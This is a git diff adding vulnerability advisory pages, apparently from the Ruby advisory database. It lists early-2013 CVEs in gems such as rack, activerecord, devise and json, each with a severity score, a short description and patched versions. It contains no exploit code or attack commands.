00000000..7ed0215d --- /dev/null +++ b/advisories/_posts/2013-01-07-CVE-2013-0183.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-0183 (rack): CVE-2013-0183 rubygem-rack: receiving excessively long + lines triggers out-of-memory error' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2013-0183 + osvdb: 89320 + ghsa: 3pxh-h8hw-mj8w + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0183 + title: 'CVE-2013-0183 rubygem-rack: receiving excessively long lines triggers out-of-memory + error' + date: 2013-01-07 + description: |- + multipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 + allows remote attackers to cause a denial of service (memory consumption and out-of-memory + error) via a long string in a Multipart HTTP packet. + cvss_v2: 5.0 + patched_versions: + - "~> 1.3.8" + - ">= 1.4.3" +--- diff --git a/advisories/_posts/2013-01-08-CVE-2013-0155.md b/advisories/_posts/2013-01-08-CVE-2013-0155.md new file mode 100644 index 00000000..052e343b --- /dev/null +++ b/advisories/_posts/2013-01-08-CVE-2013-0155.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2013-0155 (activerecord): CVE-2013-0155 rubygem-actionpack, rubygem-activerecord: + Unsafe Query Generation Risk in Ruby on Rails' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2013-0155 + osvdb: 89025 + ghsa: gppp-5xc5-wfpx + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0155 + title: 'CVE-2013-0155 rubygem-actionpack, rubygem-activerecord: Unsafe Query Generation + Risk in Ruby on Rails' + date: 2013-01-08 + description: |- + Ruby on Rails 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before + 3.2.11 does not properly consider differences in parameter handling between the + Active Record component and the JSON implementation, which allows remote attackers + to bypass intended database-query restrictions and perform NULL checks or trigger + missing WHERE clauses via a crafted request, as demonstrated by certain "[nil]" + values, a related issue to CVE-2012-2660 and CVE-2012-2694. + cvss_v2: 10.0 + patched_versions: + - "~> 2.3.16" + - "~> 3.0.19" + - "~> 3.1.10" + - ">= 3.2.11" +--- diff --git a/advisories/_posts/2013-01-08-CVE-2013-0156.md b/advisories/_posts/2013-01-08-CVE-2013-0156.md new file mode 100644 index 00000000..c6a24dc5 --- /dev/null +++ b/advisories/_posts/2013-01-08-CVE-2013-0156.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2013-0156 (actionpack): CVE-2013-0156 rubygem-activesupport: Multiple + vulnerabilities in parameter parsing in ActionPack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-0156 + osvdb: 89026 + ghsa: jmgw-6vjg-jjwg + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0156 + title: 'CVE-2013-0156 rubygem-activesupport: Multiple vulnerabilities in parameter + parsing in ActionPack' + date: 2013-01-08 + description: |- + active_support/core_ext/hash/conversions.rb in Ruby on Rails before 2.3.15, + 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly + restrict casts of string values, which allows remote attackers to conduct object-injection + attacks and execute arbitrary code, or cause a denial of service (memory and CPU + consumption) involving nested XML entity references, by leveraging Action Pack support + for (1) YAML type conversion or (2) Symbol type conversion. + cvss_v2: 10.0 + patched_versions: + - "~> 2.3.15" + - "~> 3.0.19" + - "~> 3.1.10" + - ">= 3.2.11" +--- diff --git a/advisories/_posts/2013-01-08-CVE-2013-1802.md b/advisories/_posts/2013-01-08-CVE-2013-1802.md new file mode 100644 index 00000000..e1a9360d --- /dev/null +++ b/advisories/_posts/2013-01-08-CVE-2013-1802.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1802 (extlib): extlib Gem for Ruby Type Casting Parameter Parsing + Remote Code Execution' +comments: false +categories: +- extlib +advisory: + gem: extlib + cve: 2013-1802 + osvdb: 90740 + ghsa: 9h36-4jf2-hx53 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1802 + title: extlib Gem for Ruby Type Casting Parameter Parsing Remote Code Execution + date: 2013-01-08 + description: |- + extlib Gem for Ruby contains a flaw that is triggered when a type casting + error occurs during the parsing of parameters. This may allow a + context-dependent attacker to potentially execute arbitrary code. + cvss_v2: 9.3 + patched_versions: + - ">= 0.9.16" +--- diff --git a/advisories/_posts/2013-01-09-CVE-2013-1800.md b/advisories/_posts/2013-01-09-CVE-2013-1800.md new file mode 100644 index 00000000..2a74f0d7 --- /dev/null +++ b/advisories/_posts/2013-01-09-CVE-2013-1800.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-1800 (crack): CVE-2013-1800 rubygem-crack: YAML parameter parsing + vulnerability' +comments: false +categories: +- crack +advisory: + gem: crack + cve: 2013-1800 + osvdb: 90742 + ghsa: m7fq-cf8q-35q7 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1800 + title: 'CVE-2013-1800 rubygem-crack: YAML parameter parsing vulnerability' + date: 2013-01-09 + description: |- + The crack gem 0.3.1 and earlier for Ruby does not properly restrict casts + of string values, which might allow remote attackers to conduct object-injection + attacks and execute arbitrary code, or cause a denial of service (memory and CPU + consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) + Symbol type conversion, a similar vulnerability to CVE-2013-0156. + cvss_v2: 7.5 + patched_versions: + - ">= 0.3.2" +--- diff --git a/advisories/_posts/2013-01-10-CVE-2013-0285.md b/advisories/_posts/2013-01-10-CVE-2013-0285.md new file mode 100644 index 00000000..fa1f371a --- /dev/null +++ b/advisories/_posts/2013-01-10-CVE-2013-0285.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-0285 (nori): Ruby Gem nori Parameter Parsing Remote Code Execution' +comments: false +categories: +- nori +advisory: + gem: nori + cve: 2013-0285 + osvdb: 90196 + ghsa: 4936-rj25-6wm6 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0285 + title: Ruby Gem nori Parameter Parsing Remote Code Execution + date: 2013-01-10 + description: |- + The Ruby Gem nori has a parameter parsing error that may allow an attacker + to execute arbitrary code. This vulnerability has to do with type casting + during parsing, and is related to CVE-2013-0156. + cvss_v2: 7.5 + patched_versions: + - "~> 1.0.3" + - "~> 1.1.4" + - ">= 2.0.2" +--- diff --git a/advisories/_posts/2013-01-11-CVE-2013-0175.md b/advisories/_posts/2013-01-11-CVE-2013-0175.md new file mode 100644 index 00000000..ff4643fd --- /dev/null +++ b/advisories/_posts/2013-01-11-CVE-2013-0175.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-0175 (multi_xml): multi_xml Gem for Ruby XML Parameter Parsing Remote + Command Execution' +comments: false +categories: +- multi_xml +advisory: + gem: multi_xml + cve: 2013-0175 + osvdb: 89148 + ghsa: pchc-949f-53m5 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0175 + title: multi_xml Gem for Ruby XML Parameter Parsing Remote Command Execution + date: 2013-01-11 + description: |- + The multi_xml Gem for Ruby contains a flaw that is triggered when an error + occurs during the parsing of the 'XML' parameter. With a crafted request + containing arbitrary symbol and yaml types, a remote attacker can execute + arbitrary commands. + patched_versions: + - ">= 0.5.2" +--- diff --git a/advisories/_posts/2013-01-13-CVE-2013-0184.md b/advisories/_posts/2013-01-13-CVE-2013-0184.md new file mode 100644 index 00000000..0d3a0860 --- /dev/null +++ b/advisories/_posts/2013-01-13-CVE-2013-0184.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2013-0184 (rack): CVE-2013-0184 rubygem-rack: Rack::Auth::AbstractRequest + DoS' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2013-0184 + osvdb: 89327 + ghsa: v882-ccj6-jc48 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0184 + title: 'CVE-2013-0184 rubygem-rack: Rack::Auth::AbstractRequest DoS' + date: 2013-01-13 + description: |- + Unspecified vulnerability in Rack::Auth::AbstractRequest in Rack 1.1.x + before 1.1.5, 1.2.x before 1.2.7, 1.3.x before 1.3.9, and 1.4.x before 1.4.4 allows + remote attackers to cause a denial of service via unknown vectors related to "symbolized + arbitrary strings." + cvss_v2: 4.3 + patched_versions: + - "~> 1.1.5" + - "~> 1.2.7" + - "~> 1.3.9" + - ">= 1.4.4" +--- diff --git a/advisories/_posts/2013-01-14-CVE-2013-1801.md b/advisories/_posts/2013-01-14-CVE-2013-1801.md new file mode 100644 index 00000000..60afef78 --- /dev/null +++ b/advisories/_posts/2013-01-14-CVE-2013-1801.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1801 (httparty): httparty Gem for Ruby Type Casting Parameter Parsing + Remote Code Execution' +comments: false +categories: +- httparty +advisory: + gem: httparty + cve: 2013-1801 + osvdb: 90741 + ghsa: mgx3-27hr-mfgp + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1801 + title: httparty Gem for Ruby Type Casting Parameter Parsing Remote Code Execution + date: 2013-01-14 + description: |- + httparty Gem for Ruby contains a flaw that is triggered when a type casting + error occurs during the parsing of parameters. This may allow a + context-dependent attacker to potentially execute arbitrary code. + cvss_v2: 7.5 + patched_versions: + - ">= 0.10.0" +--- diff --git a/advisories/_posts/2013-01-28-CVE-2013-0233.md b/advisories/_posts/2013-01-28-CVE-2013-0233.md new file mode 100644 index 00000000..1d0f3aed --- /dev/null +++ b/advisories/_posts/2013-01-28-CVE-2013-0233.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-0233 (devise): Devise Database Type Conversion Crafted Request Parsing + Security Bypass' +comments: false +categories: +- devise +advisory: + gem: devise + cve: 2013-0233 + osvdb: 89642 + ghsa: jxhw-mg8m-2pj8 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0233 + title: Devise Database Type Conversion Crafted Request Parsing Security Bypass + date: 2013-01-28 + description: |- + Devise contains a flaw that is triggered during when a type conversion error + occurs during the parsing of a malformed request. With a specially crafted + request, a remote attacker can bypass security restrictions. + cvss_v2: 6.8 + patched_versions: + - "~> 1.5.4" + - "~> 2.0.5" + - "~> 2.1.3" + - ">= 2.2.3" +--- diff --git a/advisories/_posts/2013-01-28-CVE-2013-0333.md b/advisories/_posts/2013-01-28-CVE-2013-0333.md new file mode 100644 index 00000000..fa9c2636 --- /dev/null +++ b/advisories/_posts/2013-01-28-CVE-2013-0333.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-0333 (activesupport): CVE-2013-0333 rubygem-activesupport: json to + yaml parsing' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2013-0333 + osvdb: 89594 + ghsa: xgr2-v94m-rc9g + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0333 + title: 'CVE-2013-0333 rubygem-activesupport: json to yaml parsing' + date: 2013-01-28 + description: |- + lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before + 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data + for processing by a YAML parser, which allows remote attackers to execute arbitrary + code, conduct SQL injection attacks, or bypass authentication via crafted data that + triggers unsafe decoding, a different vulnerability than CVE-2013-0156. + cvss_v2: 9.3 + patched_versions: + - "~> 2.3.16" + - ">= 3.0.20" +--- diff --git a/advisories/_posts/2013-02-06-CVE-2013-0256.md b/advisories/_posts/2013-02-06-CVE-2013-0256.md new file mode 100644 index 00000000..56c9127c --- /dev/null +++ b/advisories/_posts/2013-02-06-CVE-2013-0256.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-0256 (rdoc): CVE-2013-0256 rubygem-rdoc: Cross-site scripting in + the documentation created by Darkfish Rdoc HTML generator / template' +comments: false +categories: +- rdoc +advisory: + gem: rdoc + cve: 2013-0256 + osvdb: 90004 + ghsa: v2r9-c84j-v7xm + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0256 + title: 'CVE-2013-0256 rubygem-rdoc: Cross-site scripting in the documentation created + by Darkfish Rdoc HTML generator / template' + date: 2013-02-06 + description: |- + darkfish.js in RDoc 2.3.0 through 3.12 and 4.x before 4.0.0.preview2.1, + as used in Ruby, does not properly generate documents, which allows remote attackers + to conduct cross-site scripting (XSS) attacks via a crafted URL. + cvss_v2: 4.3 + patched_versions: + - "~> 3.9.5" + - "~> 3.12.1" + - ">= 4.0" +--- diff --git a/advisories/_posts/2013-02-07-CVE-2013-0262.md b/advisories/_posts/2013-02-07-CVE-2013-0262.md new file mode 100644 index 00000000..125e99ec --- /dev/null +++ b/advisories/_posts/2013-02-07-CVE-2013-0262.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-0262 (rack): CVE-2013-0262 rubygem-rack: Path sanitization information + disclosure' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2013-0262 + osvdb: 89938 + ghsa: 85r7-w5mv-c849 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0262 + title: 'CVE-2013-0262 rubygem-rack: Path sanitization information disclosure' + date: 2013-02-07 + description: |- + rack/file.rb (Rack::File) in Rack 1.5.x before 1.5.2 and 1.4.x before + 1.4.5 allows attackers to access arbitrary files outside the intended root directory + via a crafted PATH_INFO environment variable, probably a directory traversal vulnerability + that is remotely exploitable, aka "symlink path traversals." + cvss_v2: 4.3 + patched_versions: + - "~> 1.4.5" + - ">= 1.5.2" +--- diff --git a/advisories/_posts/2013-02-07-CVE-2013-0263.md b/advisories/_posts/2013-02-07-CVE-2013-0263.md new file mode 100644 index 00000000..a2fa5024 --- /dev/null +++ b/advisories/_posts/2013-02-07-CVE-2013-0263.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-0263 (rack): CVE-2013-0263 rubygem-rack: Timing attack in cookie + sessions' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2013-0263 + osvdb: 89939 + ghsa: xc85-32mf-xpv8 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0263 + title: 'CVE-2013-0263 rubygem-rack: Timing attack in cookie sessions' + date: 2013-02-07 + description: |- + Rack::Session::Cookie in Rack 1.5.x before 1.5.2, 1.4.x before 1.4.5, + 1.3.x before 1.3.10, 1.2.x before 1.2.8, and 1.1.x before 1.1.6 allows remote attackers + to guess the session cookie, gain privileges, and execute arbitrary code via a timing + attack involving an HMAC comparison function that does not run in constant time. + cvss_v2: 5.1 + patched_versions: + - "~> 1.1.6" + - "~> 1.2.8" + - "~> 1.3.10" + - "~> 1.4.5" + - ">= 1.5.2" +--- diff --git a/advisories/_posts/2013-02-11-CVE-2013-0276.md b/advisories/_posts/2013-02-11-CVE-2013-0276.md new file mode 100644 index 00000000..3f699b32 --- /dev/null +++ b/advisories/_posts/2013-02-11-CVE-2013-0276.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-0276 (activerecord): CVE-2013-0276 rubygem-activerecord/rubygem-activemodel: + circumvention of attr_protected' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2013-0276 + osvdb: 90072 + ghsa: gr44-7grc-37vq + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0276 + title: 'CVE-2013-0276 rubygem-activerecord/rubygem-activemodel: circumvention of + attr_protected' + date: 2013-02-11 + description: |- + ActiveRecord in Ruby on Rails before 2.3.17, 3.1.x before 3.1.11, and + 3.2.x before 3.2.12 allows remote attackers to bypass the attr_protected protection + mechanism and modify protected model attributes via a crafted request. + cvss_v2: 5.0 + patched_versions: + - "~> 2.3.17" + - "~> 3.1.11" + - ">= 3.2.12" +--- diff --git a/advisories/_posts/2013-02-11-CVE-2013-0277.md b/advisories/_posts/2013-02-11-CVE-2013-0277.md new file mode 100644 index 00000000..220aba87 --- /dev/null +++ b/advisories/_posts/2013-02-11-CVE-2013-0277.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-0277 (activerecord): CVE-2013-0277 rubygem-activerecord: Serialized + Attributes YAML Vulnerability with Rails 2.3 and 3.0' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2013-0277 + osvdb: 90073 + ghsa: fhj9-cjjh-27vm + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0277 + title: 'CVE-2013-0277 rubygem-activerecord: Serialized Attributes YAML Vulnerability + with Rails 2.3 and 3.0' + date: 2013-02-11 + description: |- + ActiveRecord in Ruby on Rails before 2.3.17 and 3.x before 3.1.0 allows + remote attackers to cause a denial of service or execute arbitrary code via crafted + serialized attributes that cause the +serialize+ helper to deserialize arbitrary + YAML. + cvss_v2: 10.0 + patched_versions: + - "~> 2.3.17" + - ">= 3.1.0" +--- diff --git a/advisories/_posts/2013-02-12-CVE-2013-0269.md b/advisories/_posts/2013-02-12-CVE-2013-0269.md new file mode 100644 index 00000000..86d229ea --- /dev/null +++ b/advisories/_posts/2013-02-12-CVE-2013-0269.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-0269 (json): CVE-2013-0269 rubygem-json: Denial of Service and SQL + Injection' +comments: false +categories: +- json +advisory: + gem: json + cve: 2013-0269 + osvdb: 101137 + ghsa: x457-cw4h-hq5f + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0269 + title: 'CVE-2013-0269 rubygem-json: Denial of Service and SQL Injection' + date: 2013-02-12 + description: |- + The JSON gem before 1.5.5, 1.6.x before 1.6.8, and 1.7.x before 1.7.7 + for Ruby allows remote attackers to cause a denial of service (resource consumption) + or bypass the mass assignment protection mechanism via a crafted JSON document that + triggers the creation of arbitrary Ruby symbols or certain internal objects, as + demonstrated by conducting a SQL injection attack against Ruby on Rails, aka "Unsafe + Object Creation Vulnerability." + cvss_v2: 9.0 + patched_versions: + - "~> 1.5.5" + - "~> 1.6.8" + - ">= 1.7.7" +--- diff --git a/advisories/_posts/2013-02-12-OSVDB-115090.md b/advisories/_posts/2013-02-12-OSVDB-115090.md new file mode 100644 index 00000000..20f3d7ae --- /dev/null +++ b/advisories/_posts/2013-02-12-OSVDB-115090.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-115090 (bundler): Bundler Gem for Ruby Missing SSL Certificate Validation + MitM Spoofing' +comments: false +categories: +- bundler +advisory: + gem: bundler + osvdb: 115090 + url: https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8 + title: Bundler Gem for Ruby Missing SSL Certificate Validation MitM Spoofing + date: 2013-02-12 + description: |- + Bundler Gem for Ruby contains a flaw as SSL certificates are not properly + validated. By spoofing the SSL server via a certificate that appears valid, + an attacker with the ability to intercept network traffic (e.g. MiTM, DNS + cache poisoning) can disclose and optionally manipulate transmitted data. + patched_versions: + - ">= 1.3.0.pre.8" + related: + url: + - https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8 + - https://my.diffend.io/gems/bundler/1.3.0.pre.7/1.3.0.pre.8 + - https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8 + - http://www.osvdb.org/show/osvdb/115090 +--- diff --git a/advisories/_posts/2013-02-12-OSVDB-115091.md b/advisories/_posts/2013-02-12-OSVDB-115091.md new file mode 100644 index 00000000..c03c0324 --- /dev/null +++ b/advisories/_posts/2013-02-12-OSVDB-115091.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-115091 (bundler): Bundler Gem for Ruby Redirection Remote HTTP Basic + Authentication Credential Disclosure' +comments: false +categories: +- bundler +advisory: + gem: bundler + osvdb: 115091 + url: https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8 + title: Bundler Gem for Ruby Redirection Remote HTTP Basic Authentication Credential + Disclosure + date: 2013-02-12 + description: |- + Bundler Gem for Ruby contains a flaw that is triggered during the + redirection to other hosts. This may allow a remote attacker to + gain access to HTTP basic authentication credential information. + patched_versions: + - ">= 1.3.0.pre.8" + related: + url: + - https://github.com/rubygems/bundler/releases/tag/v1.3.0.pre.8 + - https://my.diffend.io/gems/bundler/1.3.0.pre.7/1.3.0.pre.8 + - https://my.diffend.io/gems/bundler/versions/1.0.0.beta.8 + - http://www.osvdb.org/show/osvdb/115091 +--- diff --git a/advisories/_posts/2013-02-19-CVE-2013-1756.md b/advisories/_posts/2013-02-19-CVE-2013-1756.md new file mode 100644 index 00000000..d0a5f9dd --- /dev/null +++ b/advisories/_posts/2013-02-19-CVE-2013-1756.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-1756 (fog-dragonfly): Dragonfly Gem for Ruby Crafted Request Parsing + Remote Code Execution' +comments: false +categories: +- fog-dragonfly +advisory: + gem: fog-dragonfly + cve: 2013-1756 + osvdb: 90647 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1756 + title: Dragonfly Gem for Ruby Crafted Request Parsing Remote Code Execution + date: 2013-02-19 + description: |- + Dragonfly Gem for Ruby contains a flaw that is triggered during the parsing + of a specially crafted request. This may allow a remote attacker to execute + arbitrary code. + + This gem has been renamed. Please use "dragonfly" from now on. + cvss_v2: 7.5 + unaffected_versions: + - "< 0.7.0" + patched_versions: + - ">= 0.9.14" +--- diff --git a/advisories/_posts/2013-02-21-CVE-2013-0162.md b/advisories/_posts/2013-02-21-CVE-2013-0162.md new file mode 100644 index 00000000..e344f4e9 --- /dev/null +++ b/advisories/_posts/2013-02-21-CVE-2013-0162.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-0162 (ruby_parser): CVE-2013-0162 rubygem-ruby_parser: incorrect + temporary file usage' +comments: false +categories: +- ruby_parser +advisory: + gem: ruby_parser + cve: 2013-0162 + osvdb: 90561 + ghsa: 8mvw-22r7-w6fq + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0162 + title: 'CVE-2013-0162 rubygem-ruby_parser: incorrect temporary file usage' + date: 2013-02-21 + description: |- + The diff_pp function in lib/gauntlet_rubyparser.rb in the ruby_parser + gem 3.1.1 and earlier for Ruby allows local users to overwrite arbitrary files via + a symlink attack on a temporary file with a predictable name in /tmp. + cvss_v2: 2.1 + patched_versions: + - ">= 3.1.2" +--- diff --git a/advisories/_posts/2013-02-21-CVE-2013-1607.md b/advisories/_posts/2013-02-21-CVE-2013-1607.md new file mode 100644 index 00000000..accb0c7e --- /dev/null +++ b/advisories/_posts/2013-02-21-CVE-2013-1607.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-1607 (pdfkit): PDFKit Gem for Ruby PDF File Generation Parameter + Handling Remote Code Execution' +comments: false +categories: +- pdfkit +advisory: + gem: pdfkit + cve: 2013-1607 + osvdb: 90867 + ghsa: 39v7-xpq4-8884 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1607 + title: PDFKit Gem for Ruby PDF File Generation Parameter Handling Remote Code Execution + date: 2013-02-21 + description: |- + PDFKit Gem for Ruby contains a flaw that is due to the program failing + to properly validate input during the handling of parameters when generating PDF + files. This may allow a remote attacker to potentially execute arbitrary code via + the pdfkit generation options. + cvss_v3: 9.8 + patched_versions: + - ">= 0.5.3" +--- diff --git a/advisories/_posts/2013-02-21-CVE-2013-1656.md b/advisories/_posts/2013-02-21-CVE-2013-1656.md new file mode 100644 index 00000000..4ba3fce0 --- /dev/null +++ b/advisories/_posts/2013-02-21-CVE-2013-1656.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2013-1656 (spree): Spree controller Parameter Arbitrary Ruby Object Instantiation + Command Execution' +comments: false +categories: +- spree +advisory: + gem: spree + cve: 2013-1656 + ghsa: jxx8-v83v-rhw3 + url: https://github.com/advisories/GHSA-jxx8-v83v-rhw3 + title: Spree controller Parameter Arbitrary Ruby Object Instantiation Command Execution + date: 2013-02-21 + description: |- + Spree Commerce 1.0.x before 2.0.0.rc1 allows remote authenticated + administrators to instantiate arbitrary Ruby objects and executd + arbitrary commands via the + (1) payment_method parameter to core/app/controllers/spree/admin/ + payment_methods_controller.rb; and the + (2) promotion_action parameter to promotion_actions_controller.rb, + (3) promotion_rule parameter to promotion_rules_controller.rb, and + (4) calculator_type parameter to promotions_controller.rb in + promo/app/controllers/spree/admin/, related to unsafe use + of the constantize function. + cvss_v2: 4.3 + patched_versions: + - ">= 2.0.0.rc1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-1656 + - https://github.com/spree/spree/commit/70092eb55b8be8fe5d21a7658b62da658612fba7 + - https://web.archive.org/web/20130907044454/https://www.conviso.com.br/advisories/CVE-2013-1656.txt + - https://web.archive.org/web/20140329142330/http://spreecommerce.com/blog/multiple-security-vulnerabilities-fixed + - https://web.archive.org/web/20140618100330/http://blog.conviso.com.br/2013/03/spree-commerce-multiple-unsafe.html + - https://github.com/advisories/GHSA-jxx8-v83v-rhw3 +--- diff --git a/advisories/_posts/2013-02-21-CVE-2013-2506.md b/advisories/_posts/2013-02-21-CVE-2013-2506.md new file mode 100644 index 00000000..a451e6d4 --- /dev/null +++ b/advisories/_posts/2013-02-21-CVE-2013-2506.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2013-2506 (spree_auth_devise): Spree app/models/spree/user.rb Mass Role + Assignment Remote Privilege Escalation' +comments: false +categories: +- spree_auth_devise +advisory: + gem: spree_auth_devise + cve: 2013-2506 + osvdb: 90865 + ghsa: jp57-9j37-5476 + url: https://spreecommerce.com/blog/multiple-security-vulnerabilities-fixed + title: Spree app/models/spree/user.rb Mass Role Assignment Remote Privilege Escalation + date: 2013-02-21 + description: |- + Spree contains a flaw that leads to unauthorized privileges being gained. The + issue is triggered as certain input related to mass role assignment in + app/models/spree/user.rb is not properly verified before being used to update + a user. This may allow a remote attacker to assign arbitrary roles and gain + elevated administrative privileges. + cvss_v2: 4.0 + patched_versions: + - "~> 1.1.6" + - "~> 1.2.0" + - ">= 1.3.0" +--- diff --git a/advisories/_posts/2013-02-25-GHSA-5qw5-wf2q-f538.md b/advisories/_posts/2013-02-25-GHSA-5qw5-wf2q-f538.md new file mode 100644 index 00000000..fd1bf85f --- /dev/null +++ b/advisories/_posts/2013-02-25-GHSA-5qw5-wf2q-f538.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'GHSA-5qw5-wf2q-f538 (activerecord-jdbc-adapter): ActiveRecord-JDBC-Adapter + (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub() Function SQL Injection' +comments: false +categories: +- activerecord-jdbc-adapter +- jruby +advisory: + gem: activerecord-jdbc-adapter + platform: jruby + osvdb: 114854 + ghsa: 5qw5-wf2q-f538 + url: https://github.com/advisories/GHSA-5qw5-wf2q-f538 + title: ActiveRecord-JDBC-Adapter (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub() + Function SQL Injection + date: 2013-02-25 + description: |- + ActiveRecord-JDBC-Adapter (AR-JDBC) contains a flaw that may allow carrying + out an SQL injection attack. The issue is due to the sql.gsub() function in + lib/arjdbc/jdbc/adapter.rb not properly sanitizing user-supplied input before + using it in SQL queries. This may allow a remote attacker to inject or + manipulate SQL queries in the back-end database, allowing for the + manipulation or disclosure of arbitrary data. + cvss_v4: 8.8 + unaffected_versions: + - "< 1.2.6" + patched_versions: + - ">= 1.2.8" + related: + url: + - https://github.com/jruby/activerecord-jdbc-adapter/issues/322 + - https://github.com/jruby/activerecord-jdbc-adapter/blob/master/lib/arjdbc/jdbc/adapter.rb + - https://my.diffend.io/gems/activerecord-jdbc-adapter/1.2.5/1.2.8 + - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERECORDJDBCADAPTER-20076 + - https://advisories.gitlab.com/pkg/gem/activerecord-jdbc-adapter/GHSA-5qw5-wf2q-f538 + - https://github.com/advisories/GHSA-5qw5-wf2q-f538 + notes: "- No CVE, CVSS values.\n" +--- diff --git a/advisories/_posts/2013-02-25-OSVDB-114854.md b/advisories/_posts/2013-02-25-OSVDB-114854.md new file mode 100644 index 00000000..dbba1da6 --- /dev/null +++ b/advisories/_posts/2013-02-25-OSVDB-114854.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'OSVDB-114854 (activerecord-jdbc-adapter): ActiveRecord-JDBC-Adapter (AR-JDBC) + lib/arjdbc/jdbc/adapter.rb sql.gsub() Function SQL Injection' +comments: false +categories: +- activerecord-jdbc-adapter +- jruby +advisory: + gem: activerecord-jdbc-adapter + platform: jruby + osvdb: 114854 + url: https://github.com/jruby/activerecord-jdbc-adapter/issues/322 + title: ActiveRecord-JDBC-Adapter (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub() + Function SQL Injection + date: 2013-02-25 + description: | + ActiveRecord-JDBC-Adapter (AR-JDBC) contains a flaw that may allow carrying + out an SQL injection attack. The issue is due to the sql.gsub() function in + lib/arjdbc/jdbc/adapter.rb not properly sanitizing user-supplied input before + using it in SQL queries. This may allow a remote attacker to inject or + manipulate SQL queries in the back-end database, allowing for the + manipulation or disclosure of arbitrary data. + unaffected_versions: + - "< 1.2.6" + patched_versions: + - ">= 1.2.8" + related: + url: + - https://github.com/jruby/activerecord-jdbc-adapter/issues/322 + - https://github.com/jruby/activerecord-jdbc-adapter/blob/master/lib/arjdbc/jdbc/adapter.rb + - https://security.snyk.io/vuln/SNYK-RUBY-ACTIVERECORDJDBCADAPTER-20076 + - https://my.diffend.io/gems/activerecord-jdbc-adapter/1.2.5/1.2.8 + - http://osvdb.org/show/osvdb/114854 + - https://advisories.gitlab.com/pkg/gem/activerecord-jdbc-adapter/OSVDB-2013-02-25 +--- diff --git a/advisories/_posts/2013-02-28-CVE-2013-2512.md b/advisories/_posts/2013-02-28-CVE-2013-2512.md new file mode 100644 index 00000000..f05bda86 --- /dev/null +++ b/advisories/_posts/2013-02-28-CVE-2013-2512.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-2512 (ftpd): ftpd Gem for Ruby Shell Character Handling Remote Command + 